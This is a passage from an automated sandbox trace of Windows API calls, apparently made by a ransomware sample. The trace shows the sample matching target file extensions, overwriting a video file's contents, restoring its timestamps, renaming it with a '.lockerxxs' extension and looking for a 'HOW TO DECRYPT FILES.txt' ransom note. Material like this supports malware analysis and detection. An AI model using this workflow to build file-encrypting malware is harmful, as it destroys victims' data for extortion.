HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qbj") returned 0 [0091.899] lstrlenA (lpString="*.qbj") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.ofx") returned 0 [0091.899] lstrlenA (lpString="*.ofx") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qif") returned 0 [0091.899] lstrlenA (lpString="*.qif") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.mye") returned 0 [0091.900] lstrlenA (lpString="*.mye") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.mbox") returned 0 [0091.900] lstrlenA (lpString="*.mbox") returned 6 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.eml") returned 0 [0091.900] lstrlenA (lpString="*.eml") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.pst") returned 0 [0091.900] lstrlenA (lpString="*.pst") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.ost") returned 0 [0091.900] lstrlenA (lpString="*.ost") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.idx") returned 0 [0091.900] lstrlenA (lpString="*.idx") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.dbx") returned 0 [0091.900] lstrlenA (lpString="*.dbx") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.sql") returned 0 [0091.900] lstrlenA (lpString="*.sql") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.mdb") returned 0 [0091.900] lstrlenA (lpString="*.mdb") returned 5 [0091.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.fdb") returned 0 [0091.900] lstrlenA (lpString="*.fdb") returned 5 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.wab") returned 0 [0091.901] lstrlenA (lpString="*.wab") returned 5 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.dat") returned 0 [0091.901] lstrlenA (lpString="*.dat") returned 5 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.txt") returned 0 [0091.901] lstrlenA (lpString="*.txt") returned 5 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.jpeg") returned 0 [0091.901] lstrlenA (lpString="*.jpeg") returned 6 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.jpg") returned 0 [0091.901] lstrlenA (lpString="*.jpg") returned 5 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.png") returned 0 [0091.901] lstrlenA (lpString="*.png") returned 5 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.php") returned 0 [0091.901] lstrlenA (lpString="*.php") returned 5 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.cs") returned 0 [0091.901] lstrlenA (lpString="*.cs") returned 4 [0091.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.cpp") returned 0 [0091.901] lstrlenA (lpString="*.cpp") returned 5 [0091.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.rar") returned 0 [0091.902] lstrlenA (lpString="*.rar") returned 5 [0091.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.zip") returned 0 [0091.902] lstrlenA (lpString="*.zip") returned 5 [0091.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.html") returned 0 [0091.902] lstrlenA (lpString="*.html") returned 6 [0091.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.htm") returned 0 [0091.902] lstrlenA (lpString="*.htm") returned 5 [0091.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.xlsx") returned 0 [0091.902] lstrlenA (lpString="*.xlsx") returned 6 [0091.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.xls") returned 0 [0091.902] lstrlenA (lpString="*.xls") returned 5 [0091.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.mp4") returned 1 [0091.902] lstrlenA (lpString="*.mp4") returned 5 [0091.902] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4" [0091.902] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4" [0091.902] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4." [0091.902] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4.lockerxxs" [0091.903] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\d7bhqy6zuojf51iofgeu\\eyzgvrn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0091.903] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x95ef [0091.904] GetFileTime (in: hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xe92d54c0, dwHighDateTime=0x1d5e279), lpLastAccessTime=0x407536*(dwLowDateTime=0x2664eb90, dwHighDateTime=0x1d5e4fb), lpLastWriteTime=0x40753e*(dwLowDateTime=0x2664eb90, dwHighDateTime=0x1d5e4fb)) returned 1 [0091.904] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.904] ReadFile (in: hFile=0xa0, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x95c9, lpOverlapped=0x0) returned 1 [0091.906] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4") returned="eYzGVrn.mp4" [0091.906] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.906] WriteFile (in: hFile=0xa0, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x95c9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x95c9, lpOverlapped=0x0) returned 1 [0091.907] SetFileTime (hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.907] CloseHandle (hObject=0xa0) returned 1 [0091.907] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\d7bhqy6zuojf51iofgeu\\eyzgvrn.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\d7bhqy6zuojf51iofgeu\\eyzgvrn.mp4.lockerxxs")) returned 1 [0091.909] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d54c0, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x2664eb90, ftLastAccessTime.dwHighDateTime=0x1d5e4fb, ftLastWriteTime.dwLowDateTime=0x2664eb90, ftLastWriteTime.dwHighDateTime=0x1d5e4fb, nFileSizeHigh=0x0, nFileSizeLow=0x95ef, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="eYzGVrn.mp4", cAlternateFileName="")) returned 0 [0091.909] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0091.909] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78150bf0, ftCreationTime.dwHighDateTime=0x1d5e613, ftLastAccessTime.dwLowDateTime=0x122a4550, ftLastAccessTime.dwHighDateTime=0x1d5d932, ftLastWriteTime.dwLowDateTime=0x122a4550, ftLastWriteTime.dwHighDateTime=0x1d5d932, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x900030a, dwReserved1=0x4e00c4, cFileName="D7bHqY6ZuOJF51iofGEU", cAlternateFileName="D7BHQY~1")) returned 0 [0091.909] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0091.909] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d42cca0, ftCreationTime.dwHighDateTime=0x1d5da7b, ftLastAccessTime.dwLowDateTime=0xf322f90, ftLastAccessTime.dwHighDateTime=0x1d5e178, ftLastWriteTime.dwLowDateTime=0xf322f90, ftLastWriteTime.dwHighDateTime=0x1d5e178, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="pdCDsh", cAlternateFileName="")) returned 0 [0091.909] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0091.909] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe917fc0, ftCreationTime.dwHighDateTime=0x1d5e171, ftLastAccessTime.dwLowDateTime=0x1fdfa760, ftLastAccessTime.dwHighDateTime=0x1d5e280, ftLastWriteTime.dwLowDateTime=0x1fdfa760, ftLastWriteTime.dwHighDateTime=0x1d5e280, nFileSizeHigh=0x0, nFileSizeLow=0x18cb0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="rKpaiYK vA3eVdCPK.flv", cAlternateFileName="RKPAIY~1.FLV")) returned 1 [0091.909] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.909] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rKpaiYK vA3eVdCPK.flv") returned -1 [0091.909] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rKpaiYK vA3eVdCPK.flv") returned -1 [0091.909] lstrcmpiA (lpString1="", lpString2="rKpaiYK vA3eVdCPK.flv") returned -1 [0091.910] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\*.*") returned="*.*" [0091.910] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" [0091.910] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="" [0091.910] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" [0091.910] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\how to decrypt files.txt")) returned 0x20 [0091.910] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="rKpaiYK vA3eVdCPK.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv" [0091.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.ems") returned 0 [0091.910] lstrlenA (lpString="*.ems") returned 5 [0091.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.db") returned 0 [0091.910] lstrlenA (lpString="*.db") returned 4 [0091.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.dbf") returned 0 [0091.910] lstrlenA (lpString="*.dbf") returned 5 [0091.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.myox") returned 0 [0091.910] lstrlenA (lpString="*.myox") returned 6 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.myo") returned 0 [0091.911] lstrlenA (lpString="*.myo") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qbw") returned 0 [0091.911] lstrlenA (lpString="*.qbw") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qbb") returned 0 [0091.911] lstrlenA (lpString="*.qbb") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x 